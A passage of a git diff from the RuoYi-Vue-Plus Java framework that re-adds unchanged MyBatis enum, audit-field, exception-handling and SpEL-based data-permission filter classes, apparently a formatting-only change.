b/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/enums/DataBaseType.java @@ -1,58 +1,58 @@ -package org.dromara.common.mybatis.enums; - -import lombok.AllArgsConstructor; -import lombok.Getter; -import org.dromara.common.core.utils.StringUtils; - -/** - * 数据库类型 - * - * @author Lion Li - */ -@Getter -@AllArgsConstructor -public enum DataBaseType { - - /** - * MySQL - */ - MY_SQL("MySQL"), - - /** - * Oracle - */ - ORACLE("Oracle"), - - /** - * PostgreSQL - */ - POSTGRE_SQL("PostgreSQL"), - - /** - * SQL Server - */ - SQL_SERVER("Microsoft SQL Server"); - - /** - * 数据库类型 - */ - private final String type; - - /** - * 根据数据库产品名称查找对应的数据库类型 - * - * @param databaseProductName 数据库产品名称 - * @return 对应的数据库类型枚举值,如果未找到则返回 null - */ - public static DataBaseType find(String databaseProductName) { - if (StringUtils.isBlank(databaseProductName)) { - return null; - } - for (DataBaseType type : values()) { - if (type.getType().equals(databaseProductName)) { - return type; - } - } - return null; - } -} +package org.dromara.common.mybatis.enums; + +import lombok.AllArgsConstructor; +import lombok.Getter; +import org.dromara.common.core.utils.StringUtils; + +/** + * 数据库类型 + * + * @author Lion Li + */ +@Getter +@AllArgsConstructor +public enum DataBaseType { + + /** + * MySQL + */ + MY_SQL("MySQL"), + + /** + * Oracle + */ + ORACLE("Oracle"), + + /** + * PostgreSQL + */ + POSTGRE_SQL("PostgreSQL"), + + /** + * SQL Server + */ + SQL_SERVER("Microsoft SQL Server"); + + /** + * 数据库类型 + */ + private final String type; + + /** + * 根据数据库产品名称查找对应的数据库类型 + * + * @param databaseProductName 数据库产品名称 + * @return 对应的数据库类型枚举值,如果未找到则返回 null + */ + public static DataBaseType find(String databaseProductName) { + if (StringUtils.isBlank(databaseProductName)) { + return null; + } + for (DataBaseType type : values()) { + if (type.getType().equals(databaseProductName)) { + return type; + } + } + return null; + } +} diff --git a/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/enums/DataScopeType.java b/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/enums/DataScopeType.java index 02a5f48..f4892a0 100644 --- a/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/enums/DataScopeType.java +++ b/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/enums/DataScopeType.java @@ -1,87 +1,87 @@ -package org.dromara.common.mybatis.enums; - -import lombok.AllArgsConstructor; -import lombok.Getter; -import org.dromara.common.core.domain.model.LoginUser; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.helper.DataPermissionHelper; - -/** - * 数据权限类型枚举 - *

- * 支持使用 SpEL 模板表达式定义 SQL 查询条件 - * 内置数据: - * - {@code user}: 当前登录用户信息,参考 {@link LoginUser} - * 内置服务: - * - {@code sdss}: 系统数据权限服务,参考 ISysDataScopeService - * 如需扩展数据,可以通过 {@link DataPermissionHelper} 进行操作 - * 如需扩展服务,可以通过 ISysDataScopeService 自行编写 - *

- * - * @author Lion Li - * @version 3.5.0 - */ -@Getter -@AllArgsConstructor -public enum DataScopeType { - - /** - * 全部数据权限 - */ - ALL("1", "", ""), - - /** - * 自定数据权限 - */ - CUSTOM("2", " #{#deptName} IN ( #{@sdss.getRoleCustom( #user.roleId )} ) ", " 1 = 0 "), - - /** - * 部门数据权限 - */ - DEPT("3", " #{#deptName} = #{#user.deptId} ", " 1 = 0 "), - - /** - * 部门及以下数据权限 - */ - DEPT_AND_CHILD("4", " #{#deptName} IN ( #{@sdss.getDeptAndChild( #user.deptId )} )", " 1 = 0 "), - - /** - * 仅本人数据权限 - */ - SELF("5", " #{#userName} = #{#user.userId} ", " 1 = 0 "), - - /** - * 部门及以下或本人数据权限 - */ - DEPT_AND_CHILD_OR_SELF("6", " #{#deptName} IN ( #{@sdss.getDeptAndChild( #user.deptId )} ) OR #{#userName} = #{#user.userId} ", " 1 = 0 "); - - private final String code; - - /** - * SpEL 模板表达式,用于构建 SQL 查询条件 - */ - private final String sqlTemplate; - - /** - * 如果不满足 {@code sqlTemplate} 的条件,则使用此默认 SQL 表达式 - */ - private final String elseSql; - - /** - * 根据枚举代码查找对应的枚举值 - * - * @param code 枚举代码 - * @return 对应的枚举值,如果未找到则返回 null - */ - public static DataScopeType findCode(String code) { - if (StringUtils.isBlank(code)) { - return null; - } - for (DataScopeType type : values()) { - if (type.getCode().equals(code)) { - return type; - } - } - return null; - } -} +package org.dromara.common.mybatis.enums; + +import lombok.AllArgsConstructor; +import lombok.Getter; +import org.dromara.common.core.domain.model.LoginUser; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.helper.DataPermissionHelper; + +/** + * 数据权限类型枚举 + *

+ * 支持使用 SpEL 模板表达式定义 SQL 查询条件 + * 内置数据: + * - {@code user}: 当前登录用户信息,参考 {@link LoginUser} + * 内置服务: + * - {@code sdss}: 系统数据权限服务,参考 ISysDataScopeService + * 如需扩展数据,可以通过 {@link DataPermissionHelper} 进行操作 + * 如需扩展服务,可以通过 ISysDataScopeService 自行编写 + *

+ * + * @author Lion Li + * @version 3.5.0 + */ +@Getter +@AllArgsConstructor +public enum DataScopeType { + + /** + * 全部数据权限 + */ + ALL("1", "", ""), + + /** + * 自定数据权限 + */ + CUSTOM("2", " #{#deptName} IN ( #{@sdss.getRoleCustom( #user.roleId )} ) ", " 1 = 0 "), + + /** + * 部门数据权限 + */ + DEPT("3", " #{#deptName} = #{#user.deptId} ", " 1 = 0 "), + + /** + * 部门及以下数据权限 + */ + DEPT_AND_CHILD("4", " #{#deptName} IN ( #{@sdss.getDeptAndChild( #user.deptId )} )", " 1 = 0 "), + + /** + * 仅本人数据权限 + */ + SELF("5", " #{#userName} = #{#user.userId} ", " 1 = 0 "), + + /** + * 部门及以下或本人数据权限 + */ + DEPT_AND_CHILD_OR_SELF("6", " #{#deptName} IN ( #{@sdss.getDeptAndChild( #user.deptId )} ) OR #{#userName} = #{#user.userId} ", " 1 = 0 "); + + private final String code; + + /** + * SpEL 模板表达式,用于构建 SQL 查询条件 + */ + private final String sqlTemplate; + + /** + * 如果不满足 {@code sqlTemplate} 的条件,则使用此默认 SQL 表达式 + */ + private final String elseSql; + + /** + * 根据枚举代码查找对应的枚举值 + * + * @param code 枚举代码 + * @return 对应的枚举值,如果未找到则返回 null + */ + public static DataScopeType findCode(String code) { + if (StringUtils.isBlank(code)) { + return null; + } + for (DataScopeType type : values()) { + if (type.getCode().equals(code)) { + return type; + } + } + return null; + } +} diff --git a/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/handler/InjectionMetaObjectHandler.java b/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/handler/InjectionMetaObjectHandler.java index fec2579..876961b 100644 --- a/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/handler/InjectionMetaObjectHandler.java +++ b/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/handler/InjectionMetaObjectHandler.java @@ -1,102 +1,102 @@ -package org.dromara.common.mybatis.handler; - -import cn.hutool.core.util.ObjectUtil; -import cn.hutool.http.HttpStatus; -import com.baomidou.mybatisplus.core.handlers.MetaObjectHandler; -import lombok.extern.slf4j.Slf4j; -import org.apache.ibatis.reflection.MetaObject; -import org.dromara.common.core.domain.model.LoginUser; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.utils.ObjectUtils; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.common.satoken.utils.LoginHelper; - -import java.util.Date; - -/** - * MP注入处理器 - * - * @author Lion Li - * @date 2021/4/25 - */ -@Slf4j -public class InjectionMetaObjectHandler implements MetaObjectHandler { - - /** - * 插入填充方法,用于在插入数据时自动填充实体对象中的创建时间、更新时间、创建人、更新人等信息 - * - * @param metaObject 元对象,用于获取原始对象并进行填充 - */ - @Override - public void insertFill(MetaObject metaObject) { - try { - if (ObjectUtil.isNotNull(metaObject) && metaObject.getOriginalObject() instanceof BaseEntity baseEntity) { - // 获取当前时间作为创建时间和更新时间,如果创建时间不为空,则使用创建时间,否则使用当前时间 - Date current = ObjectUtils.notNull(baseEntity.getCreateTime(), new Date()); - baseEntity.setCreateTime(current); - baseEntity.setUpdateTime(current); - - // 如果创建人为空,则填充当前登录用户的信息 - if (ObjectUtil.isNull(baseEntity.getCreateBy())) { - LoginUser loginUser = getLoginUser(); - if (ObjectUtil.isNotNull(loginUser)) { - Long userId = loginUser.getUserId(); - // 填充创建人、更新人和创建部门信息 - baseEntity.setCreateBy(userId); - baseEntity.setUpdateBy(userId); - baseEntity.setCreateDept(ObjectUtils.notNull(baseEntity.getCreateDept(), loginUser.getDeptId())); - } - } - } else { - Date date = new Date(); - this.strictInsertFill(metaObject, "createTime", Date.class, date); - this.strictInsertFill(metaObject, "updateTime", Date.class, date); - } - } catch (Exception e) { - throw new ServiceException("自动注入异常 => " + e.getMessage(), HttpStatus.HTTP_UNAUTHORIZED); - } - } - - /** - * 更新填充方法,用于在更新数据时自动填充实体对象中的更新时间和更新人信息 - * - * @param metaObject 元对象,用于获取原始对象并进行填充 - */ - @Override - public void updateFill(MetaObject metaObject) { - try { - if (ObjectUtil.isNotNull(metaObject) && metaObject.getOriginalObject() instanceof BaseEntity baseEntity) { - // 获取当前时间作为更新时间,无论原始对象中的更新时间是否为空都填充 - Date current = new Date(); - baseEntity.setUpdateTime(current); - - // 获取当前登录用户的ID,并填充更新人信息 - Long userId = LoginHelper.getUserId(); - if (ObjectUtil.isNotNull(userId)) { - baseEntity.setUpdateBy(userId); - } - } else { - this.strictUpdateFill(metaObject, "updateTime", Date.class, new Date()); - } - } catch (Exception e) { - throw new ServiceException("自动注入异常 => " + e.getMessage(), HttpStatus.HTTP_UNAUTHORIZED); - } - } - - /** - * 获取当前登录用户信息 - * - * @return 当前登录用户的信息,如果用户未登录则返回 null - */ - private LoginUser getLoginUser() { - LoginUser loginUser; - try { - loginUser = LoginHelper.getLoginUser(); - } catch (Exception e) { - log.warn("自动注入警告 => 用户未登录"); - return null; - } - return loginUser; - } - -} +package org.dromara.common.mybatis.handler; + +import cn.hutool.core.util.ObjectUtil; +import cn.hutool.http.HttpStatus; +import com.baomidou.mybatisplus.core.handlers.MetaObjectHandler; +import lombok.extern.slf4j.Slf4j; +import org.apache.ibatis.reflection.MetaObject; +import org.dromara.common.core.domain.model.LoginUser; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.utils.ObjectUtils; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.common.satoken.utils.LoginHelper; + +import java.util.Date; + +/** + * MP注入处理器 + * + * @author Lion Li + * @date 2021/4/25 + */ +@Slf4j +public class InjectionMetaObjectHandler implements MetaObjectHandler { + + /** + * 插入填充方法,用于在插入数据时自动填充实体对象中的创建时间、更新时间、创建人、更新人等信息 + * + * @param metaObject 元对象,用于获取原始对象并进行填充 + */ + @Override + public void insertFill(MetaObject metaObject) { + try { + if (ObjectUtil.isNotNull(metaObject) && metaObject.getOriginalObject() instanceof BaseEntity baseEntity) { + // 获取当前时间作为创建时间和更新时间,如果创建时间不为空,则使用创建时间,否则使用当前时间 + Date current = ObjectUtils.notNull(baseEntity.getCreateTime(), new Date()); + baseEntity.setCreateTime(current); + baseEntity.setUpdateTime(current); + + // 如果创建人为空,则填充当前登录用户的信息 + if (ObjectUtil.isNull(baseEntity.getCreateBy())) { + LoginUser loginUser = getLoginUser(); + if (ObjectUtil.isNotNull(loginUser)) { + Long userId = loginUser.getUserId(); + // 填充创建人、更新人和创建部门信息 + baseEntity.setCreateBy(userId); + baseEntity.setUpdateBy(userId); + baseEntity.setCreateDept(ObjectUtils.notNull(baseEntity.getCreateDept(), loginUser.getDeptId())); + } + } + } else { + Date date = new Date(); + this.strictInsertFill(metaObject, "createTime", Date.class, date); + this.strictInsertFill(metaObject, "updateTime", Date.class, date); + } + } catch (Exception e) { + throw new ServiceException("自动注入异常 => " + e.getMessage(), HttpStatus.HTTP_UNAUTHORIZED); + } + } + + /** + * 更新填充方法,用于在更新数据时自动填充实体对象中的更新时间和更新人信息 + * + * @param metaObject 元对象,用于获取原始对象并进行填充 + */ + @Override + public void updateFill(MetaObject metaObject) { + try { + if (ObjectUtil.isNotNull(metaObject) && metaObject.getOriginalObject() instanceof BaseEntity baseEntity) { + // 获取当前时间作为更新时间,无论原始对象中的更新时间是否为空都填充 + Date current = new Date(); + baseEntity.setUpdateTime(current); + + // 获取当前登录用户的ID,并填充更新人信息 + Long userId = LoginHelper.getUserId(); + if (ObjectUtil.isNotNull(userId)) { + baseEntity.setUpdateBy(userId); + } + } else { + this.strictUpdateFill(metaObject, "updateTime", Date.class, new Date()); + } + } catch (Exception e) { + throw new ServiceException("自动注入异常 => " + e.getMessage(), HttpStatus.HTTP_UNAUTHORIZED); + } + } + + /** + * 获取当前登录用户信息 + * + * @return 当前登录用户的信息,如果用户未登录则返回 null + */ + private LoginUser getLoginUser() { + LoginUser loginUser; + try { + loginUser = LoginHelper.getLoginUser(); + } catch (Exception e) { + log.warn("自动注入警告 => 用户未登录"); + return null; + } + return loginUser; + } + +} diff --git a/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/handler/MybatisExceptionHandler.java b/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/handler/MybatisExceptionHandler.java index 518d52d..135dc0f 100644 --- a/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/handler/MybatisExceptionHandler.java +++ b/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/handler/MybatisExceptionHandler.java @@ -1,46 +1,46 @@ -package org.dromara.common.mybatis.handler; - -import jakarta.servlet.http.HttpServletRequest; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.utils.StringUtils; -import org.mybatis.spring.MyBatisSystemException; -import org.springframework.dao.DuplicateKeyException; -import org.springframework.web.bind.annotation.ExceptionHandler; -import org.springframework.web.bind.annotation.RestControllerAdvice; - -/** - * Mybatis异常处理器 - * - * @author Lion Li - */ -@Slf4j -@RestControllerAdvice -public class MybatisExceptionHandler { - - /** - * 主键或UNIQUE索引,数据重复异常 - */ - @ExceptionHandler(DuplicateKeyException.class) - public R handleDuplicateKeyException(DuplicateKeyException e, HttpServletRequest request) { - String requestURI = request.getRequestURI(); - log.error("请求地址'{}',数据库中已存在记录'{}'", requestURI, e.getMessage()); - return R.fail("数据库中已存在该记录,请联系管理员确认"); - } - - /** - * Mybatis系统异常 通用处理 - */ - @ExceptionHandler(MyBatisSystemException.class) - public R handleCannotFindDataSourceException(MyBatisSystemException e, HttpServletRequest request) { - String requestURI = request.getRequestURI(); - String message = e.getMessage(); - if (StringUtils.contains("CannotFindDataSourceException", message)) { - log.error("请求地址'{}', 未找到数据源", requestURI); - return R.fail("未找到数据源,请联系管理员确认"); - } - log.error("请求地址'{}', Mybatis系统异常", requestURI, e); - return R.fail(message); - } - -} +package org.dromara.common.mybatis.handler; + +import jakarta.servlet.http.HttpServletRequest; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.utils.StringUtils; +import org.mybatis.spring.MyBatisSystemException; +import org.springframework.dao.DuplicateKeyException; +import org.springframework.web.bind.annotation.ExceptionHandler; +import org.springframework.web.bind.annotation.RestControllerAdvice; + +/** + * Mybatis异常处理器 + * + * @author Lion Li + */ +@Slf4j +@RestControllerAdvice +public class MybatisExceptionHandler { + + /** + * 主键或UNIQUE索引,数据重复异常 + */ + @ExceptionHandler(DuplicateKeyException.class) + public R handleDuplicateKeyException(DuplicateKeyException e, HttpServletRequest request) { + String requestURI = request.getRequestURI(); + log.error("请求地址'{}',数据库中已存在记录'{}'", requestURI, e.getMessage()); + return R.fail("数据库中已存在该记录,请联系管理员确认"); + } + + /** + * Mybatis系统异常 通用处理 + */ + @ExceptionHandler(MyBatisSystemException.class) + public R handleCannotFindDataSourceException(MyBatisSystemException e, HttpServletRequest request) { + String requestURI = request.getRequestURI(); + String message = e.getMessage(); + if (StringUtils.contains("CannotFindDataSourceException", message)) { + log.error("请求地址'{}', 未找到数据源", requestURI); + return R.fail("未找到数据源,请联系管理员确认"); + } + log.error("请求地址'{}', Mybatis系统异常", requestURI, e); + return R.fail(message); + } + +} diff --git a/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/handler/PlusDataPermissionHandler.java b/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/handler/PlusDataPermissionHandler.java index c529c53..a01263f 100644 --- a/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/handler/PlusDataPermissionHandler.java +++ b/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/handler/PlusDataPermissionHandler.java @@ -1,260 +1,260 @@ -package org.dromara.common.mybatis.handler; - -import cn.hutool.core.annotation.AnnotationUtil; -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.util.ObjectUtil; -import lombok.extern.slf4j.Slf4j; -import net.sf.jsqlparser.JSQLParserException; -import net.sf.jsqlparser.expression.Expression; -import net.sf.jsqlparser.expression.operators.conditional.AndExpression; -import net.sf.jsqlparser.expression.operators.relational.ParenthesedExpressionList; -import net.sf.jsqlparser.parser.CCJSqlParserUtil; -import org.apache.ibatis.io.Resources; -import org.dromara.common.core.domain.dto.RoleDTO; -import org.dromara.common.core.domain.model.LoginUser; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.utils.SpringUtils; -import org.dromara.common.core.utils.StreamUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.annotation.DataColumn; -import org.dromara.common.mybatis.annotation.DataPermission; -import org.dromara.common.mybatis.enums.DataScopeType; -import org.dromara.common.mybatis.helper.DataPermissionHelper; -import org.dromara.common.satoken.utils.LoginHelper; -import org.springframework.context.ConfigurableApplicationContext; -import org.springframework.context.expression.BeanFactoryResolver; -import org.springframework.core.io.Resource; -import org.springframework.core.io.support.PathMatchingResourcePatternResolver; -import org.springframework.core.io.support.ResourcePatternResolver; -import org.springframework.core.type.ClassMetadata; -import org.springframework.core.type.classreading.CachingMetadataReaderFactory; -import org.springframework.expression.BeanResolver; -import org.springframework.expression.ExpressionParser; -import org.springframework.expression.ParserContext; -import org.springframework.expression.common.TemplateParserContext; -import org.springframework.expression.spel.standard.SpelExpressionParser; -import org.springframework.expression.spel.support.StandardEvaluationContext; -import org.springframework.util.ClassUtils; - -import java.util.*; -import java.util.concurrent.ConcurrentHashMap; -import java.util.function.Function; - -/** - * 数据权限过滤 - * - * @author Lion Li - * @version 3.5.0 - */ -@Slf4j -public class PlusDataPermissionHandler { - - /** - * 类名称与注解的映射关系缓存(由于aop无法拦截mybatis接口类上的注解 只能通过启动预扫描的方式进行) - */ - private final Map dataPermissionCacheMap = new ConcurrentHashMap<>(); - - /** - * spel 解析器 - */ - private final ExpressionParser parser = new SpelExpressionParser(); - private final ParserContext parserContext = new TemplateParserContext(); - /** - * bean解析器 用于处理 spel 表达式中对 bean 的调用 - */ - private final BeanResolver beanResolver = new BeanFactoryResolver(SpringUtils.getBeanFactory()); - - /** - * 构造方法,扫描指定包下的 Mapper 类并初始化缓存 - * - * @param mapperPackage Mapper 类所在的包路径 - */ - public PlusDataPermissionHandler(String mapperPackage) { - scanMapperClasses(mapperPackage); - } - - /** - * 获取数据过滤条件的 SQL 片段 - * - * @param where 原始的查询条件表达式 - * @param mappedStatementId Mapper 方法的 ID - * @param isSelect 是否为查询语句 - * @return 数据过滤条件的 SQL 片段 - */ - public Expression getSqlSegment(Expression where, String mappedStatementId, boolean isSelect) { - try { - // 获取数据权限配置 - DataPermission dataPermission = getDataPermission(mappedStatementId); - // 获取当前登录用户信息 - LoginUser currentUser = DataPermissionHelper.getVariable("user"); - if (ObjectUtil.isNull(currentUser)) { - currentUser = LoginHelper.getLoginUser(); - DataPermissionHelper.setVariable("user", currentUser); - } - // 如果是超级管理员或租户管理员,则不过滤数据 - if (LoginHelper.isSuperAdmin() || LoginHelper.isTenantAdmin()) { - return where; - } - // 构造数据过滤条件的 SQL 片段 - String dataFilterSql = buildDataFilter(dataPermission, isSelect); - if (StringUtils.isBlank(dataFilterSql)) { - return where; - } - Expression expression = CCJSqlParserUtil.parseExpression(dataFilterSql); - // 数据权限使用单独的括号 防止与其他条件冲突 - ParenthesedExpressionList parenthesis = new ParenthesedExpressionList<>(expression); - if (ObjectUtil.isNotNull(where)) { - return new AndExpression(where, parenthesis); - } else { - return parenthesis; - } - } catch (JSQLParserException e) { - throw new ServiceException("数据权限解析异常 => " + e.getMessage()); - } finally { - DataPermissionHelper.removePermission(); - } - } - - /** - * 构建数据过滤条件的 SQL 语句 - * - * @param dataPermission 数据权限注解 - * @param isSelect 标志当前操作是否为查询操作,查询操作和更新或删除操作在处理过滤条件时会有不同的处理方式 - * @return 构建的数据过滤条件的 SQL 语句 - * @throws ServiceException 如果角色的数据范围异常或者 key 与 value 的长度不匹配,则抛出 ServiceException 异常 - */ - private String buildDataFilter(DataPermission dataPermission, boolean isSelect) { - // 更新或删除需满足所有条件 - String joinStr = isSelect ? " OR " : " AND "; - if (StringUtils.isNotBlank(dataPermission.joinStr())) { - joinStr = " " + dataPermission.joinStr() + " "; - } - LoginUser user = DataPermissionHelper.getVariable("user"); - StandardEvaluationContext context = new StandardEvaluationContext(); - context.setBeanResolver(beanResolver); - DataPermissionHelper.getContext().forEach(context::setVariable); - Set conditions = new HashSet<>(); - for (RoleDTO role : user.getRoles()) { - user.setRoleId(role.getRoleId()); - // 获取角色权限泛型 - DataScopeType type = DataScopeType.findCode(role.getDataScope()); - if (ObjectUtil.isNull(type)) { - throw new ServiceException("角色数据范围异常 => " + role.getDataScope()); - } - // 全部数据权限直接返回 - if (type == DataScopeType.ALL) { - return ""; - } - boolean isSuccess = false; - List keys = new ArrayList<>(); - for (DataColumn dataColumn : dataPermission.value()) { - if (dataColumn.key().length != dataColumn.value().length) { - throw new ServiceException("角色数据范围异常 => key与value长度不匹配"); - } - // 设置注解变量 key 为表达式变量 value 为变量值 - for (int i = 0; i < dataColumn.key().length; i++) { - context.setVariable(dataColumn.key()[i], dataColumn.value()[i]); - } - keys.addAll(Arrays.stream(dataColumn.key()).map(key -> "#" + key).toList()); - } - for (DataColumn dataColumn : dataPermission.value()) { - // 不包含 key 变量 则不处理 - if (!StringUtils.containsAny(type.getSqlTemplate(), keys.toArray(String[]::new))) { - continue; - } - // 包含权限标识符 这直接跳过 - if (StringUtils.isNotBlank(dataColumn.permission()) && - CollUtil.contains(user.getMenuPermission(), dataColumn.permission()) - ) { - // 修复多角色与权限标识符共用问题 https://gitee.com/dromara/RuoYi-Vue-Plus/issues/IB4CS4 - conditions.add(joinStr + " 1 = 1 "); - isSuccess = true; - continue; - } - - // 忽略数据权限 防止spel表达式内有其他sql查询导致死循环调用 - String sql = DataPermissionHelper.ignore(() -> - parser.parseExpression(type.getSqlTemplate(), parserContext).getValue(context, String.class) - ); - // 解析sql模板并填充 - conditions.add(joinStr + sql); - isSuccess = true; - } - // 未处理成功则填充兜底方案 - if (!isSuccess && StringUtils.isNotBlank(type.getElseSql())) { - conditions.add(joinStr + type.getElseSql()); - } - } - - if (CollUtil.isNotEmpty(conditions)) { - String sql = StreamUtils.join(conditions, Function.identity(), ""); - return sql.substring(joinStr.length()); - } - return ""; - } - - /** - * 扫描指定包下的 Mapper 类,并查找其中带有特定注解的方法或类 - * - * @param mapperPackage Mapper 类所在的包路径 - */ - private void scanMapperClasses(String mapperPackage) { - // 创建资源解析器和元数据读取工厂 - PathMatchingResourcePatternResolver resolver = new PathMatchingResourcePatternResolver(); - CachingMetadataReaderFactory factory = new CachingMetadataReaderFactory(); - // 将 Mapper 包路径按分隔符拆分为数组 - String[] packagePatternArray = StringUtils.splitPreserveAllTokens(mapperPackage, ConfigurableApplicationContext.CONFIG_LOCATION_DELIMITERS); - String classpath = ResourcePatternResolver.CLASSPATH_ALL_URL_PREFIX; - try { - for (String packagePattern : packagePatternArray) { - // 将包路径转换为资源路径 - String path = ClassUtils.convertClassNameToResourcePath(packagePattern); - // 获取指定路径下的所有 .class 文件资源 - Resource[] resources = resolver.getResources(classpath + path + "/*.class"); - for (Resource resource : resources) { - // 获取资源的类元数据 - ClassMetadata classMetadata = factory.getMetadataReader(resource).getClassMetadata(); - // 获取资源对应的类对象 - Class clazz = Resources.classForName(classMetadata.getClassName()); - // 查找类中的特定注解 - if (AnnotationUtil.hasAnnotation(clazz, DataPermission.class)) { - DataPermission dataPermission = AnnotationUtil.getAnnotation(clazz, DataPermission.class); - dataPermissionCacheMap.put(clazz.getName(), dataPermission); - } - } - } - } catch (Exception e) { - log.error("初始化数据安全缓存时出错:{}", e.getMessage()); - } - } - - /** - * 根据映射语句 ID 或类名获取对应的 DataPermission 注解对象 - * - * @param mapperId 映射语句 ID - * @return DataPermission 注解对象,如果不存在则返回 null - */ - public DataPermission getDataPermission(String mapperId) { - // 检查上下文中是否包含映射语句 ID 对应的 DataPermission 注解对象 - if (DataPermissionHelper.getPermission() != null) { - return DataPermissionHelper.getPermission(); - } - // 如果缓存中不包含映射语句 ID 对应的 DataPermission 注解对象,则尝试使用类名作为键查找 - String clazzName = mapperId.substring(0, mapperId.lastIndexOf(".")); - if (dataPermissionCacheMap.containsKey(clazzName)) { - return dataPermissionCacheMap.get(clazzName); - } - return null; - } - - /** - * 检查给定的映射语句 ID 是否有效,即是否能够找到对应的 DataPermission 注解对象 - * - * @param mapperId 映射语句 ID - * @return 如果找到对应的 DataPermission 注解对象,则返回 false;否则返回 true - */ - public boolean invalid(String mapperId) { - return getDataPermission(mapperId) == null; - } - -} +package org.dromara.common.mybatis.handler; + +import cn.hutool.core.annotation.AnnotationUtil; +import cn.hutool.core.collection.CollUtil; +import cn.hutool.core.util.ObjectUtil; +import lombok.extern.slf4j.Slf4j; +import net.sf.jsqlparser.JSQLParserException; +import net.sf.jsqlparser.expression.Expression; +import net.sf.jsqlparser.expression.operators.conditional.AndExpression; +import net.sf.jsqlparser.expression.operators.relational.ParenthesedExpressionList; +import net.sf.jsqlparser.parser.CCJSqlParserUtil; +import org.apache.ibatis.io.Resources; +import org.dromara.common.core.domain.dto.RoleDTO; +import org.dromara.common.core.domain.model.LoginUser; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.utils.SpringUtils; +import org.dromara.common.core.utils.StreamUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.annotation.DataColumn; +import org.dromara.common.mybatis.annotation.DataPermission; +import org.dromara.common.mybatis.enums.DataScopeType; +import org.dromara.common.mybatis.helper.DataPermissionHelper; +import org.dromara.common.satoken.utils.LoginHelper; +import org.springframework.context.ConfigurableApplicationContext; +import org.springframework.context.expression.BeanFactoryResolver; +import org.springframework.core.io.Resource; +import org.springframework.core.io.support.PathMatchingResourcePatternResolver; +import org.springframework.core.io.support.ResourcePatternResolver; +import org.springframework.core.type.ClassMetadata; +import org.springframework.core.type.classreading.CachingMetadataReaderFactory; +import org.springframework.expression.BeanResolver; +import org.springframework.expression.ExpressionParser; +import org.springframework.expression.ParserContext; +import org.springframework.expression.common.TemplateParserContext; +import org.springframework.expression.spel.standard.SpelExpressionParser; +import org.springframework.expression.spel.support.StandardEvaluationContext; +import org.springframework.util.ClassUtils; + +import java.util.*; +import java.util.concurrent.ConcurrentHashMap; +import java.util.function.Function; + +/** + * 数据权限过滤 + * + * @author Lion Li + * @version 3.5.0 + */ +@Slf4j +public class PlusDataPermissionHandler { + + /** + * 类名称与注解的映射关系缓存(由于aop无法拦截mybatis接口类上的注解 只能通过启动预扫描的方式进行) + */ + private final Map dataPermissionCacheMap = new ConcurrentHashMap<>(); + + /** + * spel 解析器 + */ + private final ExpressionParser parser = new SpelExpressionParser(); + private final ParserContext parserContext = new TemplateParserContext(); + /** + * bean解析器 用于处理 spel 表达式中对 bean 的调用 + */ + private final BeanResolver beanResolver = new BeanFactoryResolver(SpringUtils.getBeanFactory()); + + /** + * 构造方法,扫描指定包下的 Mapper 类并初始化缓存 + * + * @param mapperPackage Mapper 类所在的包路径 + */ + public PlusDataPermissionHandler(String mapperPackage) { + scanMapperClasses(mapperPackage); + } + + /** + * 获取数据过滤条件的 SQL 片段 + * + * @param where 原始的查询条件表达式 + * @param mappedStatementId Mapper 方法的 ID + * @param isSelect 是否为查询语句 + * @return 数据过滤条件的 SQL 片段 + */ + public Expression getSqlSegment(Expression where, String mappedStatementId, boolean isSelect) { + try { + // 获取数据权限配置 + DataPermission dataPermission = getDataPermission(mappedStatementId); + // 获取当前登录用户信息 + LoginUser currentUser = DataPermissionHelper.getVariable("user"); + if (ObjectUtil.isNull(currentUser)) { + currentUser = LoginHelper.getLoginUser(); + DataPermissionHelper.setVariable("user", currentUser); + } + // 如果是超级管理员或租户管理员,则不过滤数据 + if (LoginHelper.isSuperAdmin() || LoginHelper.isTenantAdmin()) { + return where; + } + // 构造数据过滤条件的 SQL 片段 + String dataFilterSql = buildDataFilter(dataPermission, isSelect); + if (StringUtils.isBlank(dataFilterSql)) { + return where; + } + Expression expression = CCJSqlParserUtil.parseExpression(dataFilterSql); + // 数据权限使用单独的括号 防止与其他条件冲突 + ParenthesedExpressionList parenthesis = new ParenthesedExpressionList<>(expression); + if (ObjectUtil.isNotNull(where)) { + return new AndExpression(where, parenthesis); + } else { + return parenthesis; + } + } catch (JSQLParserException e) { + throw new ServiceException("数据权限解析异常 => " + e.getMessage()); + } finally { + DataPermissionHelper.removePermission(); + } + } + + /** + * 构建数据过滤条件的 